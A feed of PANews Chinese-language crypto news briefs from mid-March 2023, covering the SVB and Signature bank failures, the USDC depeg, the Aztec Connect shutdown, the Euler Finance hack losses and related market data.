    三箭资本联创Kyle Davies：没有针对他的未决诉讼或监管行动
    PANews 3月14日消息，据CoinDesk报道，已倒闭对冲基金三箭资本的联合创始人Kyle Davies表示，目前没有针对他的未决诉讼或监管行动。去年7月，三箭资本申请破产。今年10月，美国证券交易委员会(SEC)和商品期货交易委员会(CFTC)对三箭资本展开调查，原因是该公司在资产负债表方面误导投资者。去年12月，有报道称三箭资本的负债超过30亿美元，而资产只有10亿美元。Davies表示，人们的愤怒源自市场下跌。就我们而言，在任何地方都没有针对我们的监管行动和诉讼。据此前消息，三箭资本创始人Su Zhu和Kyle Davies近期推出了Open Exchange(OPNX)，这是一个允许用户交易破产索赔并将索赔作为抵押品来交易加密衍生品的平台。  ( 4 min )
    Coinbase正式暂停BUSD交易，仍向用户开放BUSD取款
    PANews 3月14日消息，据官方消息，Coinbase正式暂停了BUSD交易，持有BUSD的用户仍然可以随时提取他们的资产。今年2月，Coinbase宣布计划下架BUSD，Coinbase首席执行官Brian Armstrong表示作出该决定是出于对流动性的担忧。此前Paxos被勒令停止铸造BUSD，纽约金融服务部（NYDFS）和美国证券交易委员会（SEC）都对该公司采取了监管行动。  ( 4 min )
    DeFiance Capital完成1亿美元流动性代币基金的首次关闭
    PANews 3月14日消息，据The Block援引消息人士报道，Arthur Cheong的加密投资基金DeFiance Capital筹集了“八位数”资金，完成了新的 1 亿美元流动性代币基金的首次关闭。其中一位消息人士称，虽然这可能意味着 1000 万美元到 9900 万美元之间的任何金额，但去年最初的融资金额不到 5000 万美元。 去年报道，DeFiance Capital创始人正在为新基金筹资约1亿美元。并且已经承诺了近一半的金额。消息人士称，在 11 月 FTX 交易所倒闭后，其中一些承诺减少了，但该基金仍设法完成了第一笔付款，并于本月开始投资。  ( 4 min )
    数据：过去24小时全网合约超7万人爆仓，爆仓金额超3.5亿美元
    PANews 3月13日消息，据Coinglass最新数据显示，过去24小时全网合约共有86,596 人被爆仓，爆仓总金额为 3.56 亿美元。其中比特币合约爆仓为1.35亿美元，以太坊合约爆仓金额为1.18亿美元。最大单笔爆仓单发生在Binance - ETHUSDT 价值741.68万美元。80%以上均为因做空被爆仓。  ( 4 min )
    比特币日内暴涨20.00%，现报24115美元/枚
    PANews 3月13日消息，行情显示，比特币日内暴涨20.00%，现报24115美元/枚。  ( 4 min )
    BitMEX交易所已暂停所有交易
    PANews 3月13日消息，加密货币交易所 BitMEX 表示因发现问题而暂停交易所内所有交易，目前仅“取消模式”处于活可用状态。BitMEX 表示正在努力实施修复，并将在必要时发布更新。BitMEX 称所有用户资金都是安全的。  ( 4 min )
    USDC已恢复1美元锚定价格
    PANews 3月13日消息，据Coingecko数据显示，USDC已恢复1美元锚定价格，过去24小时涨幅约4%，当前市值达到40,489,828,262美元。  ( 4 min )
    比特币突破23000美元/枚，日内涨超15%
    PANews 3月13日消息，行情显示，比特币突破23000美元/枚，日内涨超15%。  ( 4 min )
    Coinbase已恢复USDC与美元的兑换服务
    PANews 3月13日消息，加密货币交易所Coinbase发推表示，USDC与美元的兑换已恢复，现在可通过 API 和 UI 正常运行。USDC 不会在 Coinbase Exchange 上自动转换为美元。  ( 4 min )
    Aztec Network关停Aztec Connect背后是商业考虑，未来将打造通用隐私区块链
    3月13日，号称“以太坊VPN”的Layer2隐私协议Aztec Network在官方博客中宣布，其将逐步关闭DeFi隐私桥项目Aztec Connect，并将于3月21日22:00将禁用从 zk.money 和其他前端（如 zkpay.finance）向Aztec Connect合约的存款，但用户仍有1年时间可以免费提款。 作为拥有超10万交互用户及巨额融资的头部隐私项目，Aztec回应关停原因时表示，作出此决定主要出于商业考虑，与监管机构没有关系。同时，公司正专注于下一代版本的协议，将支持完全可编程的智能合约，默认情况下具有隐私性。 在主打匿名的加密世界，隐私性早已伴随着各类链上数据分析工具的出现逐渐瓦解，但在用户主导的Web3时代，隐私却是用户保护权利的刚需，这也是Aztec等主打隐私项目被资本看好的原因。 作为开源的Layer 2网络，Aztec旨在为以太坊带来高可扩展性和隐私性，旗下产品包括去中心化隐私支付工具zk.money，这是通过zkRollup来实现链上隐私的初次尝试，但Aztec 1效率低，速度慢，成本高，且其功能仅限于基本的加密转账；以及为DeFi交易提供隐私保护的桥Aztec Connect，允许用户以隐私方式连接到以太坊的DeFi生态系统，在运营过程中该产品提供了关键性的信息反馈，并证实了顺序执行器以及Rollup合约的可靠性。 除了曾获得以太坊创始人Vitalik的罕见投资，Aztec还与2022年12月宣布完成由a16z crypto领投的1亿美元融资，并计划利用这笔资金聘请更多工程师并构建一个新的加密区块链，即“加密以太坊”，希望允许用户在不泄露任何基础资讯的情况下进行验证，让用户得以用隐私和匿名的方式进行交易。 然而好景不长，Aztec就宣布关闭Aztec Connect，“Aztec Connect的排序器（Sequencer）将慢慢减少退出的rollup总块的频率，最终退出日期大约一年后（2024年3月21日）。不过，该项目团队也表示，虽然提款始终是可能的，但在2024年3月21日之后，提款的费用将明显增加，因此建议用户尽快提款。也就是说，2023年3月21日后Aztec Connect将禁止存款，及停止使用官方运营的Sequencer进行免费提现，后续提现将面临效率低或费用增加的问题。 同时，Aztec官方还表示已开源Aztec Connect的合约代码，乐于看到社区分叉、部署和运营“新版本”Aztec Connect，并且将即将启动的新一轮Grant活动中，还将为独立运营的Aztec Connect替代品提供资金支持。 值得一提的是，DeFi借贷协议Euler Finance于3月13日也遭到攻击，损失已达1.97亿美元，而Aztec支持用户在该平台以隐私的方式将资金借给Euler协议，目前其资金是否受到影响尚未曾可知。 “以太坊已经成长为一个具备读写功能的世界计算机，Aztec旨在开发具备以太坊安全性的真正去中心化通用隐私区块链，我们旨在添加可读可写的隐私特性来实现此愿景。”Aztec在博客中表示。 关闭Aztec Connect后，Aztec的中长期重点产品在两大产品上，分别是支持零知识证明的通用开发语言Noir和全新的隐私型区块链，预计2023年上半年为Aztec下一代区块链提供更多的 Noir功能和全套规范，2023年年底推出功能齐全的Noir语言和本地开发网络。从而成为可用于任何EVM链信息验证的，最为简洁且强大的零知识证明编程语言。 不过，Aztec Connect的关停引发市场关于监管的猜测，但官方负责人回应称，Aztec Connect的隐私性导致了设计中的一些问题，增加了维护成本，因此出于商业考虑作出关停决定，而非因为监管。 “我们仍然专注于L2 Rollup且从未建立L1，战略从未变化只是正在进入下一个阶段。”出于新项目的规模，Aztec需要专注所有所有工程资源来完成，故而关停了现有项目。 此外，Aztec在公告中提及了逾10万的交互用户，这也给之前埋伏空投的用户不小的想象空间。而据Dune数据显示，截至3月13日，超11万的zk.money总用户量中，存入不到0.1 ETH的用户达78.9%，也从侧面反映出Aztec绝大部分用户只是为“埋伏”空投而存入少量资金。 但加密隐私工具确实正被面临监管的打击，例如同样主打隐私的混币器Tornado Cash曾遭到美国制裁，而zk.money也曾被已爆雷的交易所FTX曾警告封锁，并将每日存款限额降低来主动应对监管风险。Aztec CEO Zac Williamson曾就隐私监管谈及了自己看法，“试图禁止加密算法与试图禁止数学一样。去中心化的加密货币网络已经减少了国家执行其监管的权力，假装不是这样只会损害他们的利益。国家可以收回大部分权力，但这需要与Web3中的善意行为者合作，创建一个新的监管框架，承认现状已经改变。”同时，他也表达了对监管的无奈，“我们正在建设的关键角色尚未完全出现在我们的新兴行业中。我们正在建设的技术还不够先进，无法满足他们的需求，强硬的监管可能会扼杀让我们达到这一目标所需的创新。如果不能控制自己的财务状况，我们就不是真正的自由，这是一场漫长的、磨人的消耗战的开始。” 总之，现有产品的全面停服并不意味Aztec结束，而是一次向完全可编程加密区块链的飞跃，至于这个终极产品究竟如何仍需等正式推出后才能见分晓。  ( 4 min )
    美国总统拜登：将要求国会和监管机构加强银行规则
    PANews 3月13日消息，据金十报道，美国总统拜登表示，政府的迅速行动应该让美国人相信美国银行系统是安全的。美国联邦存款保险公司已经控制了Signature Bank和硅谷银行的资产。美国纳税人不会承担任何损失，资金将来自保险基金费用。将要求国会和监管机构加强银行规则。需要对银行发生的事情进行全面的会计核算。拜登还称：“我们不会就此止步，我们将采取一切必要措施。我们必须防止这种情况再次发生。”  ( 4 min )
    PA日报｜借贷协议Euler Finance遭到攻击；Flex Yang推出分布式稳定币HOPE
    今日要闻提示： 美国监管机构：硅谷银行所有储户都将获得补偿，周一可以动用其资金 借贷协议Euler Finance遭到攻击，损失已达1.97亿美元 Coinbase：在Signature的现金余额约2.4亿美元，周一将恢复USDC到美元的转换 Circle CEO：将把剩余硅谷银行现金转至纽约梅隆银行，并引入新的银行合作伙伴 前贝宝金融创始人Flex Yang推出分布式稳定币HOPE SignatureBank倒闭，已被美国FDIC接管，所有储户都将获得补偿 CoinShares：上周数字资产投资产品净流出2.545亿美元，创单周净流出量新高 报告：币安2月现货交易量达5400亿美元，市场份额创新高 监管消息 美国监管机构：硅谷银行所有储户都将获得补偿，周一可以动用其资金 据CoinDesk报道，美国监管机构周日在一份联合声明中表示，硅谷银行的所有储户都将获得补偿，并在周一可以动用他们的资金。美国财政部长耶伦、美联储主席鲍威尔和美国联邦存款保险公司（FDIC）主席格伦伯格在一份声明中表示：“在收到FDIC和美联储董事会的建议，并与总统协商后，耶伦部长批准了一些行动，使FDIC能够以充分保护所有储户的方式完成对硅谷银行的清算。今天，我们将采取果断行动，加强公众对我们银行体系的信心，以保护美国经济。” 今日晚些时候消息，美联储表示，将向符合条件的存款机构提供250亿美元紧急贷款。FDIC启动对硅谷银行的拍卖，最终报价于周日截止。 IMF警告G20国家：加密货币的广泛使用或会导致银行失去存款并减少贷款 据CoinDesk报道，国际货币基金组织 (IMF) 已警告G20国家，加密资产的广泛使用可能导致银行失去存款并减少贷款。IMF于2月份在印度举行的一次会议上向20国集团提交了关于“加密资产的宏观金融影响”的报告，该报告于周一公布，几天前，对加密友好的银行Signature Bank、硅谷银行 (SVB)和Silvergate Bank相继倒闭。 报告称：“加密资产的广泛使用给货币政策的有效性、汇率管理、资本流动管理措施以及财政可持续性带来了巨大风险。此外，央行储备和全球金融安全网可能需要改变，从而带来潜在的不稳定。最后，银行可能会失去存款，不得不减少放贷。”该报告还指出，“尽管具体风险的重要性和相关性因国家情况而异，但加密资产存在许多风险。”不过，该报告还指出，尽管存在“显著风险，加密资产已经开发出公共部门可以利用的技术来实现其自身的政策目标”。 加拿大监管机构接管SVB加拿大子公司，寻求清盘 据金十报道，加拿大银行业监管机构在周日接管了SVB金融集团在加拿大的分支机构，并表示将寻求法律命令以结束其运营。 加拿大金融机构监管局局长Peter Routledge的办公室在一份声明中表示，在美国监管机构关闭了位于加州的母行后，加拿大采取这一行动是为了保护该分行持有的资产价值。 加拿大财政部长Chrystia Freeland周日晚间与银行高管和加拿大央行官员进行了交谈，并表示政府将继续关注局势，加拿大监管良好的银行体系是健全和有弹性的。 香港金管局：香港银行对SVB的风险敞口极少 对香港银行体系稳定不构成风险 硅谷银行事件持续发酵，香港金管局发言人表示，金管局一直密切留意SVB的事态发展，据该局了解，香港银行对SVB的风险敞口极少，对香港银行体系稳定不构成风险。金管局发言人重申，SiliconValleyBank在香港没有经营银行业务，只设有本地代表办事处。它并非认可机构，因此不能在本港经营银行或接受存款业务。 挪威主权财富基金表示，将密切关注硅谷银行（SVB）事件的事态发展。 NFT Yuga Labs：会继续向拍卖获胜者非空地址发送TwelveFold铭文，风险由用户自担 Yuga Labs在推特上表示：“基于Ordinal协议的NFT系列TwelveFold的铭文刻录过程目前正在进行中。拍卖获胜者需注意，有21个接收地址不是空的，但我们将坚持向这些地址发送作品。如果拍卖获胜者将铭文与其他比特币资产一起保留，可能会在正常使用比特币的过程中意外转移铭文satoshi。用户有责任安全地存储、持有和转移自己的铭文。” 元宇宙 汽车品牌日产申请4个新的Web3商标，并在元宇宙中试销 据Cointelegraph报道，日本汽车品牌日产近日在美国提交了四个与Web3相关的新商标，而其日本子公司正在元宇宙中试验汽车销售。 根据日产3月7日向美国专利商标局(USPTO)提交的商标申请，新申请涵盖了其英菲尼迪（INFINITI）、Nismo和日产品牌，范围涵盖虚拟服+汽车、虚拟商品商店+NFT、NFT市场+交易+铸造、元宇宙广告服务等。 上周，3月8日，日产日本公司宣布将对其虚拟商店“日产Hype实验室”进行为期三个月的“示范实验”，以在元宇宙中“研究、咨询、试驾和购买日产汽车”。 该实验将于6月30日截止。顾客可以通过个人电脑或智能手机“一天24小时”访问虚拟店面。客户可以创建自己定制的虚拟形象，在特定的时间内，甚至可以与虚拟销售人员互动。根据公告，客户可以通过虚拟销售办公室订购汽车并敲定购买合同。 项目动态 借贷协议Euler Finance遭到攻击，损失已达1.97亿美元 独立安全研究员CIA Officer在推特上表示，据安全团队BlockSec监测，DeFi借贷协议Euler Finance遭到攻击，据统计，Euler Finance 在本次黑客闪电贷攻击事件中的受损金额约为 1.97 亿美元，其中包括 8,877,507.35 枚 DAI、849.14 枚 WBTC、34,413,863.42 枚 USDC、85,818.26 枚 stETH。 汇丰控股英国子公司以1英镑价格收购硅谷银行英国子公司 据金十报道，汇丰控股宣布，其英国子公司汇丰英国银行有限公司以1英镑收购硅谷银行英国子公司，预计硅谷银行英国子公司的有形资产约为14亿英镑。截至3月10日，硅谷银行英国子公司拥有约55亿欧元的贷款和约67亿英镑的存款，英国央行在一份单独的声明中表示，它促成了这笔交易，客户存款将受到保护，交易中不涉及纳税人的钱。 英国方面表示，硅谷银行英国子公司的客户可以支取存款，银行业务正常。 Coinbase：在Signature的现金余额约2.4亿美元，周一将恢复USDC到美元的转换 Coinbase发推文称：“尽管我们最近在传统银行业看到了动荡，但Coinbase继续照常运营。在Coinbase，所有客户资金继续安全且可访问，包括将于周一恢复的USDC转换。客户在银行的所有现金继续受到联邦存款保险公司转移保险的保护。由于FDIC暂停Signature的交易，我们目前正在为所有客户与其他银行合作伙伴的现金交易提供便利。截至3月10日星期五营业结束，Coinbase在Signature的公司现金余额约为2.4亿美元。正如FDIC所说，我们希望完全收回这些资金。在周末银行关门期间，我们暂时暂停USDC：USD的转换。在交易活跃时期，兑换依赖于在正常银行时间内清算的银行美元转账。当银行周一开门时，我们计划重新开始转换。用户资产仍然安全，可用于链上发送。” Circle CEO：将把剩余硅谷银行现金转至纽约梅隆银行，并引入新的银行合作伙伴 USDC稳定币发行商Circle的首席执行官Jeremy Allaire发推文称：“我们很高兴地看到，美国政府和金融监管机构采取了关键措施，以减轻部分银行系统带来的风险。硅谷银行100%的存款是安全的，明天将在银行开放。100%的USDC储备金也是安全可靠的，我们将完成剩余硅谷银行现金到纽约梅隆银行的转移。如前所述，USDC的流动性操作将在明天上午银行开门时恢复。随着Signature今晚宣布关闭，我们将无法通过SigNet处理铸造和赎回，我们将依赖纽约梅隆银行的结算。此外，我们将引入一个新的交易银行合作伙伴，最早可能在明天实现自动铸造和赎回。” 今日晚些时候消息，Cross River Bank成为Circle新的银行合作伙伴。 Paxos：在Signature银行的存款为2.5亿美元，已建立存款保险制度 稳定币发行商Paxos表示，目前在Signature银行的存款为2.5亿美元，并建立了存款保险制度。所有Paxos稳定币储备都是完全支持的，并且可以随时以美元1:1的比例赎回给客户。 Ripple CEO：Ripple对硅谷银行有一些敞口，但日常业务不受影响，财务状况依然稳健 Ripple CEO Brad Garlinghouse推特发文称，Ripple对硅谷银行有一些敞口。硅谷银行是Ripple的银行合作伙伴，并持有Ripple的部分现金。但预计Ripple的日常业务不会受到干扰，大部分美元存放在其它银行。此外，Ripple的财务状况仍然稳健。近期发生的众多事件突显了金融系统仍然脆弱。 今日晚些时候消息，Celsius债权人表示，Celsius有部分资金存在Signature银行。Kraken表示，对稳定币汇率没有重大风险敞口，美元资金不受影响。TrueUSD表示，部分美元资金存放在Signature Bank。软银表示，硅谷银行几乎没有对受软银愿景基金支持的公司产生影响。 赵长鹏：将把行业复苏基金内剩余资产从BUSD换为BTC、BNB和ETH等 币安首席执行官赵长鹏发推称，考虑到稳定币和银行的变化，币安将把剩余的10亿美元行业复苏计划资金从BUSD兑换为原生加密货币，包括BTC、BNB和ETH。一些资金流动将发生在链上，以确保透明度。 今日晚些时候消息，约9.85亿枚BUSD从币安行业复苏基金转移到币安。此外，赵长鹏今日表示，救助会鼓励银行承担更多风险，建议监管机构只对储户进行补偿；银行应使用Merkle树来做储备金证明。 Stargate基金会建议DAO不要重新发行STG代币，否则FTX清算人或将寻求赔偿 基于LayerZero的跨链流动性协议Stargate发推称Stargate基金会建议DAO不要重新发行STG代币。FTX清算人近期表示，如果重新发行并转移资金，将违反自动中止条款，并将积极寻求赔偿。经与律师沟通后，FTX清算人认为代币已经在其钱包中并无需采取任何行动，以及代币将在3月17日一次性被领走。尽管Stargate基金会称其认为FTX清算人的观点这是错误的，且没有迹象表明FTX清算人对智能合约的实际情况、运作方式以及如何与合约互动以确保资金安全有深刻认知。 推文中提及，LayerZero Labs已表示，他们明确保留在任何时候采取任何和所有法律行动的权利，并行使合同协议授权或允许的任何和所有补救措施。它们重申，假设其成功并在法庭上获胜，代币将以成本价转移给Stargate DAO。据悉，LayerZero Labs联合创始人兼首席执行官Bryan Pellegrino曾于11月10日发布了一份备忘录，指出LayerZero Labs已签署协议，从FTX/Alemda回购STG代币。 根据此前的社区提案，此前Alameda于2022年3月从Stargate的社区销售中购买了占STG总供应量10%的代币，并承诺将锁仓至2025年3月，但StargateDAO发现Alameda Research的安全漏洞可能会导致协议拥有的流动性和代币持有人安全性面临“重大威胁，且最近Alameda钱包的链上转移表明，Alameda并没有完全控制其钱包，存在正在非法转移资金的情况。因此社区提议于3月15日重新发行STG代币，以消除Alamada所持代币被非法转移的风险，该提案于2月6日获得投票通过。 Aztec Connect将于明年3月21日正式关闭，用户有一年的免费取款期 以太坊二层隐私解决方案Aztec Network在官方博客中宣布，DeFi隐私桥项目Aztec Connect将逐步关闭，用户将继续能够在一年内免费取款。Aztec Connect的排序器（Sequencer）将慢慢减少退出的rollup总块的频率，最终退出日期大约一年后：2024年3月21日。该项目团队称，虽然提款始终是可能的，但在2024年3月2 日之后，提款的费用将明显增加，因此建议用户尽快提款。 具体安排如下：1.3月13日至3月21日，Aztec Connect正常运行；2.北京时间3月21日22:00起，存款将被禁用；3.一年时间的提现窗口：2023年3月13日- 2024年3月21日；4.2024年3月21日：从Aztec排序器发送的最后一个Aztec rollup；5.2024 年3月21日起：用户将不得不运行提现软件或依赖社区运行的测序仪。 Aztec Network表示，其中长期重点将集中在两大产品的开发上，即零知识证明语言Noir和下一代加密区块链，这两个产品将相互兼容、相互关联。 前贝宝金融创始人Flex Yang推出分布式稳定币HOPE 前贝宝金融（Babel Finance）创始人 Flex Yang 推出分布式稳定币 HOPE，HOPE 旨在成为由加密原生储备支持的稳定币。其储备池最初将由 BTC 和 ETH 组成。HOPE 生态包括 HopeSwap、HopeLend、HopeConnect 与 HopeEcho 四个协议，提供交易、借贷、衍生品、合成资产功能。此外，该项目将推出激励与治理代币 LT（Light Token）以激励用户参与生态应用与治理。 Signature Bank倒闭，已被美国FDIC接管，所有储户都将获得补偿 据CoinDesk报道，美联储宣布，总部位于纽约的Signature Bank周日被州监管机构关闭。纽约州金融服务局负责人Adrianne Harris在一份声明中表示，美国联邦存款保险公司(FDIC)已接管该银行。这是一周内第三家银行倒闭，此前Silvergate Bank和硅谷银行分别于周三和周五倒闭。Harris表示，采取这一行动是“为了保护储户”。美联储、FDIC和美国财政部发布联合声明称，所有使用Signature的储户都将获得补偿。 矿业消息 某独立比特币矿工仅以6.7 PH/s的平均算力获得14.8万美元的奖励 据Decrypt报道，一名独立的比特币矿工使用Solo CK Pool 挖矿服务建立了一个单独的矿池，在那里为第780112个比特币区块生成了一个有效的哈希值，获得了6.25 BTC的奖励和大约0.63 BTC的费用奖励，价值约14800美元。 这位自称来自俄罗斯的独立矿工的平均算力为6.7 PH/s，在添加区块时，比特币的总算力约为308,262 PH/s，这意味着独立矿工的6.7 PH/s哈希率大约占区块链整个计算能力的0.002%。。一位推特用户指出，独立矿工产生有效哈希值是多么幸运，并表示鉴于矿工使用的计算能力有限，通常需要更长的时间才能创建有效交易。 重要数据 CoinShares：上周数字资产投资产品净流出2.545亿美元，创单周净流出量新高 据CoinShares周报数据，上周数字资产投资产品净流出 2.545 亿美元，创下单周净流出量历史新高。其中比特币投资产品净流出 2.435 亿美元，以太坊投资产品净流出 1100 万美元，做空比特币的投资产品净流出 120 万美元。 USDC、DAI回升至0.99美元上方，脱锚状态有所缓解 CoinGecko数据显示，稳定币USDC、DAI和FRAX脱锚状态有所缓解，USDC、DAI均已回升至0.99美元上方。USDC现报0.9904美元，DAI现报价0.9943美元，此外FRAX现报0.9899美元。 数据：Circle于北京时间9:43铸造约4.078亿枚USDC 区块链数据平台Nansen在推特上表示，北京时间9:43，Circle铸造了约4.078亿枚USDC，这是过去7天内最大一笔USDC铸造。USDC发行量每小时净变化为+4.638亿美元。 报告：币安2月现货交易量达5400亿美元，市场份额创新高 CryptoCompare近日发布的交易所月度报告显示，币安的现货市场份额从1月份的59.4%增加到2月份的61.8%。币安的现货交易量增长13.7%，达到5400亿美元，创下该交易所的历史最高市场份额。据悉，币安已连续第四个月扩大其在加密货币交易平台的现货市场份额。 报告称，2月份，币安在衍生品交易所的市场份额也有所增长，升至62.9%，创下有史以来最高的月度市场份额记录。 美股第一共和银行盘前进一步跌超60% 美股第一共和银行盘前进一步跌超60%。继硅谷银行后，该行上周晚些时候亦遭到挤兑。 今日早些时候消息，该银行表示，未使用的流动性资金超过700亿美元，财务状况非常稳健。  ( 5 min )
    Web3游戏平台Moxy完成超1000万美元融资，Shima Capital等参投
    PANews 3月13日消息，据blockonomi报道，Web3游戏平台Moxy宣布已完成超1000万美元融资，Shima Capital、Polygon、MetaTope和GSR等投资方参投。Moxy基于FLOW区块链驱动的Web3游戏平台通过去中心化、安全且稳定的方式帮助包括电竞选手和其他玩家参与游戏并获得激励，同时还能让游戏开发者无缝创建基于游戏资产的NFT以推动电竞大众化，此外Moxy还使用统一数字钱包参与游戏生态让玩家存储加密货币和NFT，据悉Nolan Bushnell（Atari创始人）、Lawrence Siegel（世嘉欧洲总裁）和Tony Bickley（世嘉欧洲游戏主管）已加入Moxy团队。  ( 4 min )
    前贝宝金融创始人Flex Yang推出分布式稳定币HOPE
    PANews 3月13日消息，前贝宝金融（Babel Finance）创始人 Flex Yang 推出分布式稳定币 HOPE，HOPE 旨在成为由加密原生储备支持的稳定币。其储备池最初将由 BTC 和 ETH 组成。HOPE 生态包括 HopeSwap、HopeLend、HopeConnect 与 HopeEcho 四个协议，提供交易、借贷、衍生品、合成资产功能。此外，该项目将推出激励与治理代币 LT（Light Token）以激励用户参与生态应用与治理。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.13）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    CoinShares：上周数字资产投资产品净流出2.545亿美元，创单周净流出量新高
    PANews 3月13日消息，据CoinShares周报数据，上周数字资产投资产品净流出 2.545 亿美元，创下单周净流出量历史新高。其中比特币投资产品净流出 2.435 亿美元，以太坊投资产品净流出 1100 万美元，做空比特币的投资产品净流出 120 万美元。  ( 4 min )
    USDC脱锚危机中的大户操作：2天赚414万美元
    作者：链上分析师@Lookonchain 编译：Felix 从未见过如此聪明的地址！ 在USDC脱钩期间通过交易ETH赚了414万美元！ 在UST/LUNA崩溃之前抛售ETH！ 提前买入SHIB并在2021年5月和10月的价格峰值时卖出所有SHIB。目前持有超过7172万美元（成本可能仅为40万美元）。 我们发现15个地址（可能属于同一个人）在3月10日以1418美元的ETH价格，用6758万美元的USDC购买了47670枚ETH。然后在10小时前以1505美元的价格卖出47668枚ETH，获得了7172万美元的USDT。2天内赚了414万美元，投资回报率为6%。 根据链上数据，我们发现这15个地址可能属于同一个人，因为他们在2021年4月21日从同一个地址“0x7617”收到了大量的SHIB。 地址“0x7617”很早就开始交易SHIB，在2021年5月SHIB价格大幅上涨之前购买了约5万5千亿枚SHIB ，成本仅约为40万美元。 然后地址“0x7617”在2021年5月和2021年10月通过34个地址以超过3.5万美元的ETH价格出售了所有SHIB。 然后在2022年5月6日，这些地址以ETH的价格出售USDC。 现在，大部分资金已经转换成USDT，集中在15个地址，约7172万美元的USDT。值得注意的是，他的成本可能只有40万美元（不包括交易其他代币的成本）。具体地址如下：https://etherscan.io/token/0x95ad61b0a150d79219dcf64e1e6cc01f0b64c4ce?a=0x7617e602ea3f99e0c8e9b864978dea7631174b3b  ( 4 min )
    加密友好银行相继破产，加密市场流动危机到来？
    原文：《加密友好银行一周内陨落殆尽，加密行业该如何缓解流动性危机》 作者：zf857.eth 在经历了动荡的一年之后，美国加密货币友好银行Slivergate Bank控股母公司Silivergate Capital上周三美股收盘时宣布：它将有序的依照监管程序结束运营银门银行业务并自愿清算银行资产。 Silvergate的湮灭已经蔓延到更多的传统金融机构，引发更大的流动性危机。上周美国时间3月8号，历史最悠久且对加密货币友好的银行之一的硅谷银行Silcon Valley Bank（SVB）宣布陷入财务困境。上周五，加州金融保护和创新部宣布已经正式关闭硅谷银行，联邦存款保险公司被任命为该银行的接管人，并控制了其存款。这标志着该银行正式倒闭，这也成为自全球金融危机以来美国最大宗的银行倒闭事件。而这场危机中还有更多的中小型银行在美联储的加息浪潮中失去立足之地。 硅谷银行（SVB）倒闭后引发了全球投资者的恐慌，许多著名的区块链风险投资家（VC）在SVB持有价值超过60亿美元的资产。尽管美政府出手干预，承诺硅谷银行储户可取回存款，但加密银行实体的股权和债权价值被几近清零。22年11月16日，Block.one及其CEO合计持有Silvergate约16.8%的股份，目前理论上在Silvergate股票投资上浮亏超7000万美元 联邦储备系统的两个联邦保险成员SVB和Silvergate的湮灭也在加密货币生态系统中引起许多连锁反应，随之而来的是一场信任危机，USDC稳定币的发行商Circle在SVB的33亿美元存款的不确定性导致了USDC在周末脱钩，最低达0.889。 R3PO于1月文章《加密友好银行之殇，Silvergate爆雷Abra遭殃》就对此有过相应分析及预测并且里面提到2023年可能是更多加密友好银行的终局。 美国监管机构于上周日晚间宣布，关闭了总部位于纽约的地区银行Signature Bank，美国财政部、美联储和联邦存款保险公司在一份联合声明中表示：“我们还宣布纽约州Signature Bank也有类似的系统性风险例外，该银行今天被其州特许机构关闭。” Signature Bank提前减少了加密货币市场的风险敞口但还是没有逃过一劫，其从2023年2月1日起，不再支持任何加密货币交易所客户买卖低于10万美元，对所有加密货币交易所都是如此。以上表态确认了，Signature Bank减少加密资产市场风险敞口的决心，Signature Bank将只为币安处理超过10万美元的交易。2022年12月，Signature Bank也曾表示，加密货币交易所FTX爆雷后，该银行在大范围撤除加密货币领域，有意削减高达100亿美元的加密资产客户存款。Signature Bank于3月2日在季报中还重申，它目前没有对加密抵押品进行贷款，没有对数字资产进行投资，也没有为任何客户保管数字资产。 但为什么Signature Bank仍然被监管机构关停了？据华尔街日报消息，早在年初1月，美国联邦住房贷款银行系统（FHLB）向两家最大的加密货币银行 Signature Bank 和 Silvergate 共提供了超 130 亿美元的贷款，以减轻取款激增导致的流动性危机影响。据悉，该实体在 2022 年最后一个季度向 Signature Bank 提供了近 100 亿美元的贷款，成为近年来银行业最大的借款交易之一。此外，Silvergate 至少收到了来自 FHLB 的 36 亿美元贷款。由此可见，这两家著名加密友好银行的流动性危机早在FTX暴雷事件后就已经初现端倪。 首先值得强调的一点是Silvergate Exchange Network（SEN），在促进大投资者和加密货币交易所之间的非区块链资金转移方面发挥了关键作用。Silvergate在2018年推出了SEN，该平台迅速被大量采用，交易量在2021年整年达到近乎8000亿美元。几乎所有基于美国的主要加密货币交易所都成为Silvergate的客户，并开始通过该网络转移资金。对于加密货币交易商来说，这项技术似乎已经改变了游戏规则，成为传统金融和加密货币生态系统之间的便捷桥梁。 随着上周Silvergate进入自愿清算阶段，摩根大通曾预测客户将迁移到Signature Bank的Signet支付网络。加密货币公司可以使用应用程序编程接口将Signet网络纳入其平台. 然而Signature Bank目前也难以独善其身。 当USDC作为加密货币行业最底层的资产定价基础设施出现了脱钩这种情况，再次显示了稳定币的脆弱性。当大家发现去中心化金融仍然会被中心化金融状况影响并失去价值，很可能会考虑加大对法币的追求。但当加密行业失去Signature和Silvergate这两家主要的加密友好银行，加密公司就失去了主要的获得法定货币的关键通道。现在加密公司的法币出入金选择很少，并且任何新的加密公司将很难获得新的银行户头，在新银行介入之前，加密行业的法币-加密货币流动性将受到严重限制。 R3PO认为，作为新生的加密货币市场基础设施，区块链交易网络核心价值巨大，SEN平台以及Signet支付网络的停摆，无疑会对加密货币市场当前紧张的流动性造成进一步伤害。但对于其它竞争银行来说，这无疑是一个潜在机遇，它们有机会在此时迅速介入以填补空缺，在加密货币业务方面独占鳌头。现在全球加密银行在美国只剩下Customers bank，Sygnum，其他地区还有seba bank、deletc bank、BCB。 处于舆论中心的Circle今日发表声明称：“我们存在 SVB 的 100% 存款是安全的，将于明天开门营业。100% 的 USDC 储备金也是安全可靠的，我们将完成将剩余的 SVB 现金转移到 BNY Mellon。如前所述，USDC 的流动性操作将在明天早上银行开门时恢复。随着今晚宣布关闭 Signature 银行，我们将无法通过 SigNet 处理铸造和赎回，我们将依靠纽约梅隆银行的结算。我们最快明天将引入一个具有自动铸造和赎回功能的新交易银行合作伙伴。我们致力于以最高质量和透明度建立稳健和自动化的 USDC 结算和储备操作。” Coinbase 发表声明称“尽管我们最近在传统银行业看到了动荡，但 Coinbase 继续照常运营。在 Coinbase，所有客户资金继续安全且可访问，包括将于周一恢复的 USDC 转换。所有客户在银行的现金继续受到 FDIC 转手保险的保护。由于 FDIC 暂停 Signature 的交易，我们目前正在为所有客户与其他银行合作伙伴的现金交易提供便利。” 尽管Silvergate以及Signature Bank两家加密友好银行的关闭，导致了加密资本市场回到了 2014 